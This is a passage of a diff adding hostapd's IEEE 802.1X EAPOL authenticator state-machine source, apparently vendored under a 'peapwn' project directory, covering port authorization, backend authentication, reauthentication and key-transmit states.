_SB(sm->authStart), + prefix, _SB(sm->authTimeout), _SB(sm->authSuccess), + _SB(sm->eap_if->eapFail), _SB(sm->eapolEap), + prefix, _SB(sm->eap_if->eapSuccess), + _SB(sm->eap_if->eapTimeout), + _SB(sm->initialize), _SB(sm->eap_if->eapKeyAvailable), + prefix, _SB(sm->keyDone), _SB(sm->keyRun), + _SB(sm->keyTxEnabled), port_type_txt(sm->portControl), + prefix, _SB(sm->eap_if->portEnabled), _SB(sm->portValid), + _SB(sm->reAuthenticate)); + + fprintf(f, "%s Authenticator PAE:\n" + "%s state=%s\n" + "%s eapolLogoff=%s eapolStart=%s eapRestart=%s\n" + "%s portMode=%s reAuthCount=%d\n" + "%s quietPeriod=%d reAuthMax=%d\n" + "%s authEntersConnecting=%d\n" + "%s authEapLogoffsWhileConnecting=%d\n" + "%s authEntersAuthenticating=%d\n" + "%s authAuthSuccessesWhileAuthenticating=%d\n" + "%s authAuthTimeoutsWhileAuthenticating=%d\n" + "%s authAuthFailWhileAuthenticating=%d\n" + "%s authAuthEapStartsWhileAuthenticating=%d\n" + "%s authAuthEapLogoffWhileAuthenticating=%d\n" + "%s authAuthReauthsWhileAuthenticated=%d\n" + "%s authAuthEapStartsWhileAuthenticated=%d\n" + "%s authAuthEapLogoffWhileAuthenticated=%d\n", + prefix, prefix, auth_pae_state_txt(sm->auth_pae_state), prefix, + _SB(sm->eapolLogoff), _SB(sm->eapolStart), + _SB(sm->eap_if->eapRestart), + prefix, port_type_txt(sm->portMode), sm->reAuthCount, + prefix, sm->quietPeriod, sm->reAuthMax, + prefix, sm->authEntersConnecting, + prefix, sm->authEapLogoffsWhileConnecting, + prefix, sm->authEntersAuthenticating, + prefix, sm->authAuthSuccessesWhileAuthenticating, + prefix, sm->authAuthTimeoutsWhileAuthenticating, + prefix, sm->authAuthFailWhileAuthenticating, + prefix, sm->authAuthEapStartsWhileAuthenticating, + prefix, sm->authAuthEapLogoffWhileAuthenticating, + prefix, sm->authAuthReauthsWhileAuthenticated, + prefix, sm->authAuthEapStartsWhileAuthenticated, + prefix, sm->authAuthEapLogoffWhileAuthenticated); + + fprintf(f, "%s Backend Authentication:\n" + "%s state=%s\n" + "%s eapNoReq=%s eapReq=%s eapResp=%s\n" + "%s serverTimeout=%d\n" + "%s backendResponses=%d\n" + "%s backendAccessChallenges=%d\n" + "%s backendOtherRequestsToSupplicant=%d\n" + "%s backendAuthSuccesses=%d\n" + "%s backendAuthFails=%d\n", + prefix, prefix, + be_auth_state_txt(sm->be_auth_state), + prefix, _SB(sm->eap_if->eapNoReq), _SB(sm->eap_if->eapReq), + _SB(sm->eap_if->eapResp), + prefix, sm->serverTimeout, + prefix, sm->backendResponses, + prefix, sm->backendAccessChallenges, + prefix, sm->backendOtherRequestsToSupplicant, + prefix, sm->backendAuthSuccesses, + prefix, sm->backendAuthFails); + + fprintf(f, "%s Reauthentication Timer:\n" + "%s state=%s\n" + "%s reAuthPeriod=%d reAuthEnabled=%s\n", prefix, prefix, + reauth_timer_state_txt(sm->reauth_timer_state), prefix, + sm->reAuthPeriod, _SB(sm->reAuthEnabled)); + + fprintf(f, "%s Authenticator Key Transmit:\n" + "%s state=%s\n", prefix, prefix, + auth_key_tx_state_txt(sm->auth_key_tx_state)); + + fprintf(f, "%s Key Receive:\n" + "%s state=%s\n" + "%s rxKey=%s\n", prefix, prefix, + key_rx_state_txt(sm->key_rx_state), prefix, _SB(sm->rxKey)); + + fprintf(f, "%s Controlled Directions:\n" + "%s state=%s\n" + "%s adminControlledDirections=%s " + "operControlledDirections=%s\n" + "%s operEdge=%s\n", prefix, prefix, + ctrl_dir_state_txt(sm->ctrl_dir_state), + prefix, ctrl_dir_txt(sm->adminControlledDirections), + ctrl_dir_txt(sm->operControlledDirections), + prefix, _SB(sm->operEdge)); +#undef _SB +} diff --git a/peapwn/mods/hostap/src/eapol_auth/eapol_auth_sm.c b/peapwn/mods/hostap/src/eapol_auth/eapol_auth_sm.c new file mode 100644 index 000000000..a2577814e --- /dev/null +++ b/peapwn/mods/hostap/src/eapol_auth/eapol_auth_sm.c @@ -0,0 +1,1161 @@ +/* + * IEEE 802.1X-2004 Authenticator - EAPOL state machine + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eloop.h" +#include "state_machine.h" +#include "common/eapol_common.h" +#include "eap_common/eap_defs.h" +#include "eap_common/eap_common.h" +#include "eap_server/eap.h" +#include "eapol_auth_sm.h" +#include "eapol_auth_sm_i.h" + +#define STATE_MACHINE_DATA struct eapol_state_machine +#define STATE_MACHINE_DEBUG_PREFIX "IEEE 802.1X" +#define STATE_MACHINE_ADDR sm->addr + +static struct eapol_callbacks eapol_cb; + +/* EAPOL state machines are described in IEEE Std 802.1X-2004, Chap. 8.2 */ + +#define setPortAuthorized() \ +sm->eapol->cb.set_port_authorized(sm->eapol->conf.ctx, sm->sta, 1) +#define setPortUnauthorized() \ +sm->eapol->cb.set_port_authorized(sm->eapol->conf.ctx, sm->sta, 0) + +/* procedures */ +#define txCannedFail() eapol_auth_tx_canned_eap(sm, 0) +#define txCannedSuccess() eapol_auth_tx_canned_eap(sm, 1) +#define txReq() eapol_auth_tx_req(sm) +#define abortAuth() sm->eapol->cb.abort_auth(sm->eapol->conf.ctx, sm->sta) +#define txKey() sm->eapol->cb.tx_key(sm->eapol->conf.ctx, sm->sta) +#define processKey() do { } while (0) + + +static void eapol_sm_step_run(struct eapol_state_machine *sm); +static void eapol_sm_step_cb(void *eloop_ctx, void *timeout_ctx); +static void eapol_auth_initialize(struct eapol_state_machine *sm); + + +static void eapol_auth_logger(struct eapol_authenticator *eapol, + const u8 *addr, eapol_logger_level level, + const char *txt) +{ + if (eapol->cb.logger == NULL) + return; + eapol->cb.logger(eapol->conf.ctx, addr, level, txt); +} + + +static void eapol_auth_vlogger(struct eapol_authenticator *eapol, + const u8 *addr, eapol_logger_level level, + const char *fmt, ...) +{ + char *format; + int maxlen; + va_list ap; + + if (eapol->cb.logger == NULL) + return; + + maxlen = os_strlen(fmt) + 100; + format = os_malloc(maxlen); + if (!format) + return; + + va_start(ap, fmt); + vsnprintf(format, maxlen, fmt, ap); + va_end(ap); + + eapol_auth_logger(eapol, addr, level, format); + + os_free(format); +} + + +static void eapol_auth_tx_canned_eap(struct eapol_state_machine *sm, + int success) +{ + struct eap_hdr eap; + + os_memset(&eap, 0, sizeof(eap)); + + eap.code = success ? EAP_CODE_SUCCESS : EAP_CODE_FAILURE; + eap.identifier = ++sm->last_eap_id; + eap.length = host_to_be16(sizeof(eap)); + + eapol_auth_vlogger(sm->eapol, sm->addr, EAPOL_LOGGER_DEBUG, + "Sending canned EAP packet %s (identifier %d)", + success ? "SUCCESS" : "FAILURE", eap.identifier); + sm->eapol->cb.eapol_send(sm->eapol->conf.ctx, sm->sta, + IEEE802_1X_TYPE_EAP_PACKET, + (u8 *) &eap, sizeof(eap)); + sm->dot1xAuthEapolFramesTx++; +} + + +static void eapol_auth_tx_req(struct eapol_state_machine *sm) +{ + if (sm->eap_if->eapReqData == NULL || + wpabuf_len(sm->eap_if->eapReqData) < sizeof(struct eap_hdr)) { + eapol_auth_logger(sm->eapol, sm->addr, + EAPOL_LOGGER_DEBUG, + "TxReq called, but there is no EAP request " + "from authentication server"); + return; + } + + if (sm->flags & EAPOL_SM_WAIT_START) { + wpa_printf(MSG_DEBUG, "EAPOL: Drop EAPOL TX to " MACSTR + " while waiting for EAPOL-Start", + MAC2STR(sm->addr)); + return; + } + + sm->last_eap_id = eap_get_id(sm->eap_if->eapReqData); + eapol_auth_vlogger(sm->eapol, sm->addr, EAPOL_LOGGER_DEBUG, + "Sending EAP Packet (identifier %d)", + sm->last_eap_id); + sm->eapol->cb.eapol_send(sm->eapol->conf.ctx, sm->sta, + IEEE802_1X_TYPE_EAP_PACKET, + wpabuf_head(sm->eap_if->eapReqData), + wpabuf_len(sm->eap_if->eapReqData)); + sm->dot1xAuthEapolFramesTx++; + if (eap_get_type(sm->eap_if->eapReqData) == EAP_TYPE_IDENTITY) + sm->dot1xAuthEapolReqIdFramesTx++; + else + sm->dot1xAuthEapolReqFramesTx++; +} + + +/** + * eapol_port_timers_tick - Port Timers state machine + * @eloop_ctx: struct eapol_state_machine * + * @timeout_ctx: Not used + * + * This statemachine is implemented as a function that will be called + * once a second as a registered event loop timeout. + */ +static void eapol_port_timers_tick(void *eloop_ctx, void *timeout_ctx) +{ + struct eapol_state_machine *state = timeout_ctx; + + if (state->aWhile > 0) { + state->aWhile--; + if (state->aWhile == 0) { + wpa_printf(MSG_DEBUG, "IEEE 802.1X: " MACSTR + " - aWhile --> 0", + MAC2STR(state->addr)); + } + } + + if (state->quietWhile > 0) { + state->quietWhile--; + if (state->quietWhile == 0) { + wpa_printf(MSG_DEBUG, "IEEE 802.1X: " MACSTR + " - quietWhile --> 0", + MAC2STR(state->addr)); + } + } + + if (state->reAuthWhen > 0) { + state->reAuthWhen--; + if (state->reAuthWhen == 0) { + wpa_printf(MSG_DEBUG, "IEEE 802.1X: " MACSTR + " - reAuthWhen --> 0", + MAC2STR(state->addr)); + } + } + + if (state->eap_if->retransWhile > 0) { + state->eap_if->retransWhile--; + if (state->eap_if->retransWhile == 0) { + wpa_printf(MSG_DEBUG, "IEEE 802.1X: " MACSTR + " - (EAP) retransWhile --> 0", + MAC2STR(state->addr)); + } + } + + eapol_sm_step_run(state); + + eloop_register_timeout(1, 0, eapol_port_timers_tick, eloop_ctx, state); +} + + + +/* Authenticator PAE state machine */ + +SM_STATE(AUTH_PAE, INITIALIZE) +{ + SM_ENTRY_MA(AUTH_PAE, INITIALIZE, auth_pae); + sm->portMode = Auto; +} + + +SM_STATE(AUTH_PAE, DISCONNECTED) +{ + int from_initialize = sm->auth_pae_state == AUTH_PAE_INITIALIZE; + + if (sm->eapolLogoff) { + if (sm->auth_pae_state == AUTH_PAE_CONNECTING) + sm->authEapLogoffsWhileConnecting++; + else if (sm->auth_pae_state == AUTH_PAE_AUTHENTICATED) + sm->authAuthEapLogoffWhileAuthenticated++; + } + + SM_ENTRY_MA(AUTH_PAE, DISCONNECTED, auth_pae); + + sm->authPortStatus = Unauthorized; + setPortUnauthorized(); + sm->reAuthCount = 0; + sm->eapolLogoff = FALSE; + if (!from_initialize) { + sm->eapol->cb.finished(sm->eapol->conf.ctx, sm->sta, 0, + sm->flags & EAPOL_SM_PREAUTH); + } +} + + +SM_STATE(AUTH_PAE, RESTART) +{ + if (sm->auth_pae_state == AUTH_PAE_AUTHENTICATED) { + if (sm->reAuthenticate) + sm->authAuthReauthsWhileAuthenticated++; + if (sm->eapolStart) + sm->authAuthEapStartsWhileAuthenticated++; + if (sm->eapolLogoff) + sm->authAuthEapLogoffWhileAuthenticated++; + } + + SM_ENTRY_MA(AUTH_PAE, RESTART, auth_pae); + + sm->eap_if->eapRestart = TRUE; +} + + +SM_STATE(AUTH_PAE, CONNECTING) +{ + if (sm->auth_pae_state != AUTH_PAE_CONNECTING) + sm->authEntersConnecting++; + + SM_ENTRY_MA(AUTH_PAE, CONNECTING, auth_pae); + + sm->reAuthenticate = FALSE; + sm->reAuthCount++; +} + + +SM_STATE(AUTH_PAE, HELD) +{ + if (sm->auth_pae_state == AUTH_PAE_AUTHENTICATING && sm->authFail) + sm->authAuthFailWhileAuthenticating++; + + SM_ENTRY_MA(AUTH_PAE, HELD, auth_pae); + + sm->authPortStatus = Unauthorized; + setPortUnauthorized(); + sm->quietWhile = sm->quietPeriod; + sm->eapolLogoff = FALSE; + + eapol_auth_vlogger(sm->eapol, sm->addr, EAPOL_LOGGER_WARNING, + "authentication failed - EAP type: %d (%s)", + sm->eap_type_authsrv, + eap_server_get_name(0, sm->eap_type_authsrv)); + if (sm->eap_type_authsrv != sm->eap_type_supp) { + eapol_auth_vlogger(sm->eapol, sm->addr, EAPOL_LOGGER_INFO, + "Supplicant used different EAP type: " + "%d (%s)", sm->eap_type_supp, + eap_server_get_name(0, sm->eap_type_supp)); + } + sm->eapol->cb.finished(sm->eapol->conf.ctx, sm->sta, 0, + sm->flags & EAPOL_SM_PREAUTH); +} + + +SM_STATE(AUTH_PAE, AUTHENTICATED) +{ + char *extra = ""; + + if (sm->auth_pae_state == AUTH_PAE_AUTHENTICATING && sm->authSuccess) + sm->authAuthSuccessesWhileAuthenticating++; + + SM_ENTRY_MA(AUTH_PAE, AUTHENTICATED, auth_pae); + + sm->authPortStatus = Authorized; + setPortAuthorized(); + sm->reAuthCount = 0; + if (sm->flags & EAPOL_SM_PREAUTH) + extra = " (pre-authentication)"; + else if (sm->flags & EAPOL_SM_FROM_PMKSA_CACHE) + extra = " (PMKSA cache)"; + eapol_auth_vlogger(sm->eapol, sm->addr, EAPOL_LOGGER_INFO, + "authenticated - EAP type: %d (%s)%s", + sm->eap_type_authsrv, + eap_server_get_name(0, sm->eap_type_authsrv), + extra); + sm->eapol->cb.finished(sm->eapol->conf.ctx, sm->sta, 1, + sm->flags & EAPOL_SM_PREAUTH); +} + + +SM_STATE(AUTH_PAE, AUTHENTICATING) +{ + SM_ENTRY_MA(AUTH_PAE, AUTHENTICATING, auth_pae); + + sm->eapolStart = FALSE; + sm->authSuccess = FALSE; + sm->authFail = FALSE; + sm->authTimeout = FALSE; + sm->authStart = TRUE; + sm->keyRun = FALSE; + sm->keyDone = FALSE; +} + + +SM_STATE(AUTH_PAE, ABORTING) +{ + if (sm->auth_pae_state == AUTH_PAE_AUTHENTICATING) { + if (sm->authTimeout) + sm->authAuthTimeoutsWhileAuthenticating++; + if (sm->eapolStart) + sm->authAuthEapStartsWhileAuthenticating++; + if (sm->eapolLogoff) + sm->authAuthEapLogoffWhileAuthenticating++; + } + + SM_ENTRY_MA(AUTH_PAE, ABORTING, auth_pae); + + sm->authAbort = TRUE; + sm->keyRun = FALSE; + sm->keyDone = FALSE; +} + + +SM_STATE(AUTH_PAE, FORCE_AUTH) +{ + SM_ENTRY_MA(AUTH_PAE, FORCE_AUTH, auth_pae); + + sm->authPortStatus = Authorized; + setPortAuthorized(); + sm->portMode = ForceAuthorized; + sm->eapolStart = FALSE; + txCannedSuccess(); +} + + +SM_STATE(AUTH_PAE, FORCE_UNAUTH) +{ + SM_ENTRY_MA(AUTH_PAE, FORCE_UNAUTH, auth_pae); + + sm->authPortStatus = Unauthorized; + setPortUnauthorized(); + sm->portMode = ForceUnauthorized; + sm->eapolStart = FALSE; + txCannedFail(); +} + + +SM_STEP(AUTH_PAE) +{ + if ((sm->portControl == Auto && sm->portMode != sm->portControl) || + sm->initialize || !sm->eap_if->portEnabled) + SM_ENTER_GLOBAL(AUTH_PAE, INITIALIZE); + else if (sm->portControl == ForceAuthorized && + sm->portMode != sm->portControl && + !(sm->initialize || !sm->eap_if->portEnabled)) + SM_ENTER_GLOBAL(AUTH_PAE, FORCE_AUTH); + else if (sm->portControl == ForceUnauthorized && + sm->portMode != sm->portControl && + !(sm->initialize || !sm->eap_if->portEnabled)) + SM_ENTER_GLOBAL(AUTH_PAE, FORCE_UNAUTH); + else { + switch (sm->auth_pae_state) { + case AUTH_PAE_INITIALIZE: + SM_ENTER(AUTH_PAE, DISCONNECTED); + break; + case AUTH_PAE_DISCONNECTED: + SM_ENTER(AUTH_PAE, RESTART); + break; + case AUTH_PAE_RESTART: + if (!sm->eap_if->eapRestart) + SM_ENTER(AUTH_PAE, CONNECTING); + break; + case AUTH_PAE_HELD: + if (sm->quietWhile == 0) + SM_ENTER(AUTH_PAE, RESTART); + break; + case AUTH_PAE_CONNECTING: + if (sm->eapolLogoff || sm->reAuthCount > sm->reAuthMax) + SM_ENTER(AUTH_PAE, DISCONNECTED); + else if ((sm->eap_if->eapReq && + sm->reAuthCount <= sm->reAuthMax) || + sm->eap_if->eapSuccess || sm->eap_if->eapFail) + SM_ENTER(AUTH_PAE, AUTHENTICATING); + break; + case AUTH_PAE_AUTHENTICATED: + if (sm->eapolStart || sm->reAuthenticate) + SM_ENTER(AUTH_PAE, RESTART); + else if (sm->eapolLogoff || !sm->portValid) + SM_ENTER(AUTH_PAE, DISCONNECTED); + break; + case AUTH_PAE_AUTHENTICATING: + if (sm->authSuccess && sm->portValid) + SM_ENTER(AUTH_PAE, AUTHENTICATED); + else if (sm->authFail || + (sm->keyDone && !sm->portValid)) + SM_ENTER(AUTH_PAE, HELD); + else if (sm->eapolStart || sm->eapolLogoff || + sm->authTimeout) + SM_ENTER(AUTH_PAE, ABORTING); + break; + case AUTH_PAE_ABORTING: + if (sm->eapolLogoff && !sm->authAbort) + SM_ENTER(AUTH_PAE, DISCONNECTED); + else if (!sm->eapolLogoff && !sm->authAbort) + SM_ENTER(AUTH_PAE, RESTART); + break; + case AUTH_PAE_FORCE_AUTH: + if (sm->eapolStart) + SM_ENTER(AUTH_PAE, FORCE_AUTH); + break; + case AUTH_PAE_FORCE_UNAUTH: + if (sm->eapolStart) + SM_ENTER(AUTH_PAE, FORCE_UNAUTH); + break; + } + } +} + + + +/* Backend Authentication state machine */ + +SM_STATE(BE_AUTH, INITIALIZE) +{ + SM_ENTRY_MA(BE_AUTH, INITIALIZE, be_auth); + + abortAuth(); + sm->eap_if->eapNoReq = FALSE; + sm->authAbort = FALSE; +} + + +SM_STATE(BE_AUTH, REQUEST) +{ + SM_ENTRY_MA(BE_AUTH, REQUEST, be_auth); + + txReq(); + sm->eap_if->eapReq = FALSE; + sm->backendOtherRequestsToSupplicant++; + + /* + * Clearing eapolEap here is not specified in IEEE Std 802.1X-2004, but + * it looks like this would be logical thing to do there since the old + * EAP response would not be valid anymore after the new EAP request + * was sent out. + * + * A race condition has been reported, in which hostapd ended up + * sending out EAP-Response/Identity as a response to the first + * EAP-Request from the main EAP method. This can be avoided by + * clearing eapolEap here. + */ + sm->eapolEap = FALSE; +} + + +SM_STATE(BE_AUTH, RESPONSE) +{ + SM_ENTRY_MA(BE_AUTH, RESPONSE, be_auth); + + sm->authTimeout = FALSE; + sm->eapolEap = FALSE; + sm->eap_if->eapNoReq = FALSE; + sm->aWhile = sm->serverTimeout; + sm->eap_if->eapResp = TRUE; + /* sendRespToServer(); */ + sm->backendResponses++; +} + + +SM_STATE(BE_AUTH, SUCCESS) +{ + SM_ENTRY_MA(BE_AUTH, SUCCESS, be_auth); + + txReq(); + sm->authSuccess = TRUE; + sm->keyRun = TRUE; +} + + +SM_STATE(BE_AUTH, FAIL) +{ + SM_ENTRY_MA(BE_AUTH, FAIL, be_auth); + + txReq(); + sm->authFail = TRUE; +} + + +SM_STATE(BE_AUTH, TIMEOUT) +{ + SM_ENTRY_MA(BE_AUTH, TIMEOUT, be_auth); + + sm->authTimeout = TRUE; +} + + +SM_STATE(BE_AUTH, IDLE) +{ + SM_ENTRY_MA(BE_AUTH, IDLE, be_auth); + + sm->authStart = FALSE; +} + + +SM_STATE(BE_AUTH, IGNORE) +{ + SM_ENTRY_MA(BE_AUTH, IGNORE, be_auth); + + sm->eap_if->eapNoReq = FALSE; +} + + +SM_STEP(BE_AUTH) +{ + if (sm->portControl != Auto || sm->initialize || sm->authAbort) { + SM_ENTER_GLOBAL(BE_AUTH, INITIALIZE); + return; + } + + switch (sm->be_auth_state) { + case BE_AUTH_INITIALIZE: + SM_ENTER(BE_AUTH, IDLE); + break; + case BE_AUTH_REQUEST: + if (sm->eapolEap) + SM_ENTER(BE_AUTH, RESPONSE); + else if (sm->eap_if->eapReq) + SM_ENTER(BE_AUTH, REQUEST); + else if (sm->eap_if->eapTimeout) + SM_ENTER(BE_AUTH, TIMEOUT); + break; + case BE_AUTH_RESPONSE: + if (sm->eap_if->eapNoReq) + SM_ENTER(BE_AUTH, IGNORE); + if (sm->eap_if->eapReq) { + sm->backendAccessChallenges++; + SM_ENTER(BE_AUTH, REQUEST); + } else if (sm->aWhile == 0) + SM_ENTER(BE_AUTH, TIMEOUT); + else if (sm->eap_if->eapFail) { + sm->backendAuthFails++; + SM_ENTER(BE_AUTH, FAIL); + } else if (sm->eap_if->eapSuccess) { + sm->backendAuthSuccesses++; + SM_ENTER(BE_AUTH, SUCCESS); + } + break; + case BE_AUTH_SUCCESS: + SM_ENTER(BE_AUTH, IDLE); + break; + case BE_AUTH_FAIL: + SM_ENTER(BE_AUTH, IDLE); + break; + case BE_AUTH_TIMEOUT: + SM_ENTER(BE_AUTH, IDLE); + break; + case BE_AUTH_IDLE: + if (sm->eap_if->eapFail && sm->authStart) + SM_ENTER(BE_AUTH, FAIL); + else if (sm->eap_if->eapReq && sm->authStart) + SM_ENTER(BE_AUTH, REQUEST); + else if (sm->eap_if->eapSuccess && sm->authStart) + SM_ENTER(BE_AUTH, SUCCESS); + break; + case BE_AUTH_IGNORE: + if (sm->eapolEap) + SM_ENTER(BE_AUTH, RESPONSE); + else if (sm->eap_if->eapReq) + SM_ENTER(BE_AUTH, REQUEST); + else if (sm->eap_if->eapTimeout) + SM_ENTER(BE_AUTH, TIMEOUT); + break; + } +} + + + +/* Reauthentication Timer state machine */ + +SM_STATE(REAUTH_TIMER, INITIALIZE) +{ + SM_ENTRY_MA(REAUTH_TIMER, INITIALIZE, reauth_timer); + + sm->reAuthWhen = sm->reAuthPeriod; +} + + +SM_STATE(REAUTH_TIMER, REAUTHENTICATE) +{ + SM_ENTRY_MA(REAUTH_TIMER, REAUTHENTICATE, reauth_timer); + + sm->reAuthenticate = TRUE; + sm->eapol->cb.eapol_event(sm->eapol->conf.ctx, sm->sta, + EAPOL_AUTH_REAUTHENTICATE); +} + + +SM_STEP(REAUTH_TIMER) +{ + if (sm->portControl != Auto || sm->initialize || + sm->authPortStatus == Unauthorized || !sm->reAuthEnabled) { + SM_ENTER_GLOBAL(REAUTH_TIMER, INITIALIZE); + return; + } + + switch (sm->reauth_timer_state) { + case REAUTH_TIMER_INITIALIZE: + if (sm->reAuthWhen == 0) + SM_ENTER(REAUTH_TIMER, REAUTHENTICATE); + break; + case REAUTH_TIMER_REAUTHENTICATE: + SM_ENTER(REAUTH_TIMER, INITIALIZE); + break; + } +} + + + +/* Authenticator Key Transmit state machine */ + +SM_STATE(AUTH_KEY_TX, NO_KEY_TRANSMIT) +{ + SM_ENTRY_MA(AUTH_KEY_TX, NO_KEY_TRANSMIT, auth_key_tx); +} + + +SM_STATE(AUTH_KEY_TX, KEY_TRANSMIT) +{ + SM_ENTRY_MA(AUTH_KEY_TX, KEY_TRANSMIT, auth_key_tx); + + txKey(); + sm->eap_if->eapKeyAvailable = FALSE; + sm->keyDone = TRUE; +} + + +SM_STEP(AUTH_KEY_TX) +{ + if (sm->initialize || sm->portControl != Auto) { + SM_ENTER_GLOBAL(AUTH_KEY_TX, NO_KEY_TRANSMIT); + return; + } + + switch (sm->auth_key_tx_state) { + case AUTH_KEY_TX_NO_KEY_TRANSMIT: + if (sm->keyTxEnabled && sm->eap_if->eapKeyAvailable && + sm->keyRun && !(sm->flags & EAPOL_SM_USES_WPA)) + SM_ENTER(AUTH_KEY_TX, KEY_TRANSMIT); + break; + case AUTH_KEY_TX_KEY_TRANSMIT: + if (!sm->keyTxEnabled || !sm->keyRun) + SM_ENTER(AUTH_KEY_TX, NO_KEY_TRANSMIT); + else if (sm->eap_if->eapKeyAvailable) + SM_ENTER(AUTH_KEY_TX, KEY_TRANSMIT); + break; + } +} + + + +/* Key Receive state machine */ + +SM_STATE(KEY_RX, NO_KEY_RECEIVE) +{ + SM_ENTRY_MA(KEY_RX, NO_KEY_RECEIVE, key_rx); +} + + +SM_STATE(KEY_RX, KEY_RECEIVE) +{ + SM_ENTRY_MA(KEY_RX, KEY_RECEIVE, key_rx); + + processKey(); + sm->rxKey = FALSE; +} + + +SM_STEP(KEY_RX) +{ + if (sm->initialize || !sm->eap_if->portEnabled) { + SM_ENTER_GLOBAL(KEY_RX, NO_KEY_RECEIVE); + return; + } + + switch (sm->key_rx_state) { + case KEY_RX_NO_KEY_RECEIVE: + if (sm->rxKey) + SM_ENTER(KEY_RX, KEY_RECEIVE); + break; + case KEY_RX_KEY_RECEIVE: + if (sm->rxKey) + SM_ENTER(KEY_RX, KEY_RECEIVE); + break; + } +} + + + +/* Controlled Directions state machine */ + +SM_STATE(CTRL_DIR, FORCE_BOTH) +{ + SM_ENTRY_MA(CTRL_DIR, FORCE_BOTH, ctrl_dir); + sm->operControlledDirections = Both; +} + + +SM_STATE(CTRL_DIR, IN_OR_BOTH) +{ + SM_ENTRY_MA(CTRL_DIR, IN_OR_BOTH, ctrl_dir); + sm->operControlledDirections = sm->adminControlledDirections; +} + + +SM_STEP(CTRL_DIR) +{ + if (sm->initialize) { + SM_ENTER_GLOBAL(CTRL_DIR, IN_OR_BOTH); + return; + } + + switch (sm->ctrl_dir_state) { + case CTRL_DIR_FORCE_BOTH: + if (sm->eap_if->portEnabled && sm->operEdge) + SM_ENTER(CTRL_DIR, IN_OR_BOTH); + break; + case CTRL_DIR_IN_OR_BOTH: + if (sm->operControlledDirections != + sm->adminControlledDirections) + SM_ENTER(CTRL_DIR, IN_OR_BOTH); + if (!sm->eap_if->portEnabled || !sm->operEdge) + SM_ENTER(CTRL_DIR, FORCE_BOTH); + break; + } +} + + + +struct eapol_state_machine * +eapol_auth_alloc(struct eapol_authenticator *eapol, const u8 *addr, + int flags, const struct wpabuf *assoc_wps_ie, + const struct wpabuf *assoc_p2p_ie, void *sta_ctx, + const char *identity, const char *radius_cui) +{ + struct eapol_state_machine *sm; + struct eap_config eap_conf; + + if (eapol == NULL) + return NULL; + + sm = os_zalloc(sizeof(*sm)); + if (sm == NULL) { + wpa_printf(MSG_DEBUG, "IEEE 802.1X state machine allocation " + "failed"); + return NULL; + } + sm->radius_identifier = -1; + os_memcpy(sm->addr, addr, ETH_ALEN); + sm->flags = flags; + + sm->eapol = eapol; + sm->sta = sta_ctx; + + /* Set default values for state machine constants */ + sm->auth_pae_state = AUTH_PAE_INITIALIZE; + sm->quietPeriod = AUTH_PAE_DEFAULT_quietPeriod; + sm->reAuthMax = AUTH_PAE_DEFAULT_reAuthMax; + + sm->be_auth_state = BE_AUTH_INITIALIZE; + sm->serverTimeout = BE_AUTH_DEFAULT_serverTimeout; + + sm->reauth_timer_state = REAUTH_TIMER_INITIALIZE; + sm->reAuthPeriod = eapol->conf.eap_reauth_period; + sm->reAuthEnabled = eapol->conf.eap_reauth_period > 0 ? TRUE : FALSE; + + sm->auth_key_tx_state = AUTH_KEY_TX_NO_KEY_TRANSMIT; + + sm->key_rx_state = KEY_RX_NO_KEY_RECEIVE; + + sm->ctrl_dir_state = CTRL_DIR_IN_OR_BOTH; + + sm->portControl = Auto; + + if (!eapol->conf.wpa && + (eapol->default_wep_key || eapol->conf.individual_wep_key_len > 0)) + sm->keyTxEnabled = TRUE; + else + sm->keyTxEnabled = FALSE; + if (eapol->conf.wpa) + sm->portValid = FALSE; + else + sm->portValid = TRUE; + + os_memset(&eap_conf, 0, sizeof(eap_conf)); + eap_conf.eap_server = eapol->conf.eap_server; + eap_conf.ssl_ctx = eapol->conf.ssl_ctx; + eap_conf.msg_ctx = eapol->conf.msg_ctx; + eap_conf.eap_sim_db_priv = eapol->conf.eap_sim_db_priv; + eap_conf.pac_opaque_encr_key = eapol->conf.pac_opaque_encr_key; + eap_conf.eap_fast_a_id = eapol->conf.eap_fast_a_id; + eap_conf.eap_fast_a_id_len = eapol->conf.eap_fast_a_id_len; + eap_conf.eap_fast_a_id_info = eapol->conf.eap_fast_a_id_info; + eap_conf.eap_fast_prov = eapol->conf.eap_fast_prov; + eap_conf.pac_key_lifetime = eapol->conf.pac_key_lifetime; + eap_conf.pac_key_refresh_time = eapol->conf.pac_key_refresh_time; + eap_conf.eap_sim_aka_result_ind = eapol->conf.eap_sim_aka_result_ind; + eap_conf.tnc = eapol->conf.tnc; + eap_conf.wps = eapol->conf.wps; + eap_conf.assoc_wps_ie = assoc_wps_ie; + eap_conf.assoc_p2p_ie = assoc_p2p_ie; + eap_conf.peer_addr = addr; + eap_conf.fragment_size = eapol->conf.fragment_size; + eap_conf.pwd_group = eapol->conf.pwd_group; + eap_conf.pbc_in_m1 = eapol->conf.pbc_in_m1; + eap_conf.server_id = eapol->conf.server_id; + eap_conf.server_id_len = eapol->conf.server_id_len; + sm->eap = eap_server_sm_init(sm, &eapol_cb, &eap_conf); + if (sm->eap == NULL) { + eapol_auth_free(sm); + return NULL; + } + sm->eap_if = eap_get_interface(sm->eap); + + eapol_auth_initialize(sm); + + if (identity) { + sm->identity = (u8 *) os_strdup(identity); + if (sm->identity) + sm->identity_len = os_strlen(identity); + } + if (radius_cui) + sm->radius_cui = wpabuf_alloc_copy(radius_cui, + os_strlen(radius_cui)); + + return sm; +} + + +void eapol_auth_free(struct eapol_state_machine *sm) +{ + if (sm == NULL) + return; + + eloop_cancel_timeout(eapol_port_timers_tick, NULL, sm); + eloop_cancel_timeout(eapol_sm_step_cb, sm, NULL); + if (sm->eap) + eap_server_sm_deinit(sm->eap); + os_free(sm); +} + + +static int eapol_sm_sta_entry_alive(struct eapol_authenticator *eapol, + const u8 *addr) +{ + return eapol->cb.sta_entry_alive(eapol->conf.ctx, addr); +} + + +static void eapol_sm_step_run(struct eapol_state_machine *sm) +{ + struct eapol_authenticator *eapol = sm->eapol; + u8 addr[ETH_ALEN]; + unsigned int prev_auth_pae, prev_be_auth, prev_reauth_timer, + prev_auth_key_tx, prev_key_rx, prev_ctrl_dir; + int max_steps = 100; + + os_memcpy(addr, sm->addr, ETH_ALEN); + + /* + * Allow EAPOL state machines to run as long as there are state + * changes, but exit and return here through event loop if more than + * 100 steps is needed as a precaution against infinite loops inside + * eloop callback. + */ +restart: + prev_auth_pae = sm->auth_pae_state; + prev_be_auth = sm->be_auth_state; + prev_reauth_timer 